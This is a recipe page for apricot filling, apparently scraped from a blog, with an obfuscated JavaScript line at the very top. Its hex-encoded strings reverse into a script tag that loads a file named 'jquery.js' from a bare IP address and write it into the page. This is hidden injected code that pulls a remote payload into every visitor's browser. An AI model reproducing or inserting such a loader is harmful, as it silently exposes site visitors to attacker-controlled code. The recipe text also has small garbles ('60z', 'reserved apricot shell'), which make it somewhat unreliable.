var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); How to prepare Apricot Filling – Blogenium
Home / Cooking / How to prepare Apricot Filling

How to prepare Apricot Filling

Very nice Apricot Filling is our today’s recipe. Hope you will like and enjoy it.


  • 30 (1oz) dried apricots
  • 185g (60z) can apricot nectar
  • 2 tablespoons sugar
  • 2 tablespoons dry white wine
  • 1 teaspoon gelatine
  • 2 teaspoon water
  • 125g (40z) packaged cream cheese
  • 1 cup cream

How to Prepare:

  1. Chop apricots.
  2. Put in saucepan with nectar, sugar and wine.
  3. Stir over heat until sugar dissolves and mixture comes to boil; reduce heat, simmer 10 minutes.
  4. Remove from heat, drain, reserve apricots and liquid separately.
  5. Sprinkle gelatine over water, stand over hot water until dissolved, add to apricot liquid.
  6. Beat cream cheese until smooth, add apricot liquid, fold in reserved apricot shell, refrigerate until set.

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